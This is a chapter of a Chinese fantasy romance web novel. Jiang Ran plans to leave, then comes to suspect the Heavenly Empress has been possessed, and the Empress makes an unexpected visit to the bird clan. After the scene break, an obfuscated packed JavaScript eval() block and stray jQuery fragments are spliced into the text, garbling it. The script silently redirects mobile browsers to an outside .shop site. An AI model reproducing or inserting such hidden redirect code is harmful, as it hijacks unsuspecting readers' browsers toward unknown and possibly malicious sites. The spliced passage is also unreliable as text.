“你要走?”
芙照惊得连坛子里的酒都洒了不少,她本就蜷膝坐在树干上,溅出的酒液湿了衣领与裙摆,可她却是半分也顾不上。
姜冉在文昀心中毫无疑问是独一份的,是这千万年来无人可比拟的。这一点,在蓬莱阁那日她便敏锐地发现了。
至于姜冉对文昀态度,这不都写在脸上了?
无情则刚,有了情便有了顾虑和软肋。
在青桥城时还同玄焰相抗,要上天宫办试炼会,转眼到了九重天便跟换了个人似的。
她才不跟文昀那只蠢狐狸一般没脑子,把所有问题都归结在南天门守卫身上。
在她看来,两人在青桥城定然发生过什么。
姜冉失踪,文昀那失了魂的模样鬼来了都得自愧不如,重伤归来后更是了不得,不守着怕他出事,守太久了又怕影响她休息。每日来来回回往返于幻月谷和青桥城,谷中珍藏的那些灵丹妙药都被他拿来喂了姜冉,还差点去抄了她的蓬莱阁。
倒不是说她芙照不舍得,只是姜冉凡人之躯,纵使用再多仙族灵药,吸收不了照样也是白搭。
这样的文昀,若说他会欺负姜冉或是说了伤人的重话,芙照宁死也不会信。
刨除这一点,唯一能解释姜冉态度转变的原因便是文昀做得太多,过了界,或者说了些什么,让原本不谙情爱的姑娘突然开了窍。
捅破朦胧的窗户纸,对于有些人来说意味着守得云开见月明,可也有一部分人,心中纵有千万情愫,却因种种顾虑,不得不将这份情感深埋心底,甚至亲手斩断情丝。
姜冉便是第二类人,只是芙照不清楚她究竟因何心生顾虑。
芙照强行让自己停了一瞬的大脑重新转动起来,眨了眨杏眼,问了一句:“你要走,文昀知道吗?”
“本也与他无关,知不知道又有何区别?”
姜冉穿着一袭桃粉色的纱裙,双眼双颊皆是一片绯红。
她抱着双膝,靠着树干,隐匿于绿叶中,远远瞧着,像极了朵桃花,霎是好看。
只是那神色却没有沾上半分桃花的艳色与灼然,即使被醉人的酒气所染,那双水润的眸子中依旧是抹不去的愁绪。
长睫轻颤,姜冉靠在树干上缓缓闭上双眼,不愿再继续话题。
事实已成定局,多说无益,反而徒添烦恼。
她知道芙照的好意,但她和文昀之间并不是三言两语就能说明白的,她想,只要自己表现得够消极,几次之后,芙照失了耐心,便自然不会再劝了。
她没有想到,“与文昀无关”这几个字,芙照一个字也不信。
但如她所愿,芙照当真没再劝了。
倒不是芙照没了耐心打退堂鼓,而是见她这般模样,只觉得千言万语皆堵在喉咙口,有心安慰几句,却又不知从何说起。
解铃还须系铃人,感情的事,还得文昀努力才行。
与其在这里琢磨怎么劝说姜冉打开心扉,不如找个机会把她要回小渔村的消息透露给文昀。
芙照的算盘打得噼啪直响。
忽然绚丽的五色神光从眼前掠过,芙照晃了晃眼,而后定睛一看,一道孔雀虚影正快速往城内而去。
她“咦”了一声,诧异道:“天后怎么来了?”
姜冉柳眉轻拢,缓缓睁开眼睛,余光瞥到一抹绚烂的残影,不解道:“天后不是鸟族之王么?你为何如此诧异?”
“话虽没错,可自天后嫁入天宫九百年,这是她第二次来百雀湖。上一次是在八百年前,天后父亲病重,她回母族侍疾。后来老族长逝世,天后便接过了鸟族族长之位,自此之后再她便没再回来一次。时隔八百年,鸟族也无大事发生,她突然回来,不奇怪吗?”
听完这一番话,姜冉倏地坐直了身子,眼中朦胧的水汽散了大半。
那日在雀翎宫也好,今日在百雀湖也罢,这位天后娘娘的言行,怎么与传闻中相差甚远呢?
姜冉回想着,她第一次见到天后便是在雀翎宫闹鬼之后。
从前,她虽未见过天后,可因南天门这事一闹,也没少从旁人口中听说天后的性子。
恪守陈规,庄重严谨,行事一丝不苟,亦有几分固执。
以上,便是她从旁人口中总结而来天后的模样。
可昨日一见,她便觉得现实中的天后与她脑海中的那个人联系不到一起,甚至相差甚远。
她所见的天后举手投足间媚态十足,似乎并不拘泥于三界规矩,唯以心意为重。
要是放在从前,姜冉定要当场问个明白。
只是她才决定要从仙族事务中抽手,不再多管闲事,即便心有疑惑,当下却也忍住了,没多问一句。
后来回到小院,被文昀闹了一番,心中空落落的,连脑子也跟着不转了。
要不是今日恰巧碰到,又听芙照说了这些,她怕是要将这蹊跷之事忘个精光了。
姜冉指尖一下一下地敲击在酒坛瓶口,若是偶尔一次对不上可以说是意外,可若是次次都有出入,定然是有问题的。
她细细回想雀翎宫中天后的一言一行,这些与传闻中对不上的举动很自然,并不像是刻意装出来的,也没必要装。
唯一的解释就是她见到的那个天后骨子里就是这样的。
前前后后性情变动如此之大,倒像是换了一个人。
这想法甫一萌生,姜冉只觉得酒劲散了大半,浑身血液一寸一寸冷了下来。
鬼魂能躲去哪里才能不被渡影笛寻到下落?
答案就是活人的身体里。
占据活人的身体,禁锢他原本的灵魂,而后取而代之。
这是阴阳术之禁术换魂术,也是姜冉目前能想到解释所有可疑之处的唯一答案。
东海龙宫太子敖麟就是因为中了此术才犯下十恶不赦之事,在北海也证实了确有魔族的手笔。
若天后娘娘当真中了此术,岂不是说明魔族之手已经伸到天宫之内了?
姜冉嘴角泛起了苦涩的笑意,这叫什么事啊,都已经下定决定要离开了,又让她发现这么严重的问题。
魔族残害生灵,肆虐无毒,倘若放任不管,三界迟早生灵涂炭。
有时候,她真希望自己能再自私一点。
发现了便发现了,只要不说,谁能知道她瞒而不报?
可是她也明白,若是能狠下心来,也不至于沦落到如今这般想抽身也走不了的境地。
那双本失了色的双眼重新凝起了光,姜冉回望着芙照那张依旧百思不得其解的脸,问道:“你可知天后有没有什么仇家?特别已经是逝世的?”
*
岚瑶走入鸟族宫殿的时候,鸟族全族都惊掉了下巴。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712441|144615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
尤其是出来迎接的三位长老,在听到守卫禀报说天后来了,各个都不信,觉得是那守卫看花了眼,还叫他下去令了责罚。
后来,大长老总觉得心中不安,想着出来看看也不会掉层皮,便喊了其他两位长老一同出来侯着。
孔雀五彩神光敛去,一名女子踏光辉缓步而出,身着一袭青蓝宫装,头戴雀翎之冠,不是天后又能是谁?
三位长老如同见了鬼一般互相看了看,而后又齐齐下跪行礼。
大长老实在摸不着头脑。
此前,他又是递奏章又是言语相求,想让天后多多眷顾鸟族,提携族中年轻人。
可她却当众斥责,用她那套天宫章规好好给鸟族上了一课,还说鸟族身为天后母族,更应以身作则。
除了孔雀族,其他鸟族族人对天后意见颇大,皆说她攀上了天宫高枝便忘了族人。
她也不恼,就当听不见沸沸扬扬的流言,既不苛责,也不在意,更不偏帮,好似没有喜怒一般。
大长老是孔雀族人,自然不愿天后身陷流言,花了不少精力从中调解,可并无大用。
渐渐的,他也失了耐心,甚至做好了天后与鸟族老死不相往来的打算,没承想,今日她却突然到访。
这简直就是太阳打西边出来了!
悄悄掐了一把自己的手臂,钻心的痛感让他清晰地意识到这绝不是幻觉,大长老如梦初醒般迎着天后往大殿中走去,边走边问道:“娘娘今日突然回百雀湖,可是有要事吩咐?”
岚瑶走进大殿,坐在上首,看着殿中长老族人个个抓耳挠腮、百思不解的模样,不禁“扑哧”笑出声来。
鸟族爱美,这宫殿装饰的异常华丽,日辉透过琉璃瓦,折射出五彩斑斓的光,恰巧落在岚瑶身上。
光影勾勒出她精致的轮廓,光芒在她眼底闪烁,为她平添了几分勾人的妩媚。
听到天后的动静,站在殿中的人顿时全部傻了眼。
万年铁树开花了!
天后娘娘居然笑了!
而且笑得这么妩媚,这么灵动!
岚瑶并未理会,施施然地靠在椅背上,眉眼含笑,缓缓道:“你们不是嫌本宫不为鸟族考虑么?先前是本宫狭隘了,往后若有机会,本宫定当第一个想到鸟族。”
殿中众人并不敢接话。
在他们心中,就算天后被夺舍了,也断然说不出这种话,指不定憋了什么大招,等人上钩了再斥责一番!
只有大长老,眯着眼睛细细打量了坐在上首的女子一番。
虽说距离上次见天后也有好些年头了,可今日的天后娘娘与他记忆中那个刻板端庄的形象截然不同。
倒是让他想到了逝去多年的孔雀族大公主岚衣。
只是,这念头才在脑海中闪过,他便觉得荒谬,很快便按了下去。
他正想再询问上一番,便听到岚瑶略带慵懒的声音飘来。
“过些时日,天宫将举办一场试炼会,表现突出者有机会入职天宫。各族长老通知下去,拟一份参赛名单呈于本宫,本宫会从中挑选几人着重培养,助他们在试炼会中杀出重围。”
殿中众人面面相觑。
天后娘娘转性了?
大长老:......
不对啊肯定不对,不是天后出问题了就定是我出问题了!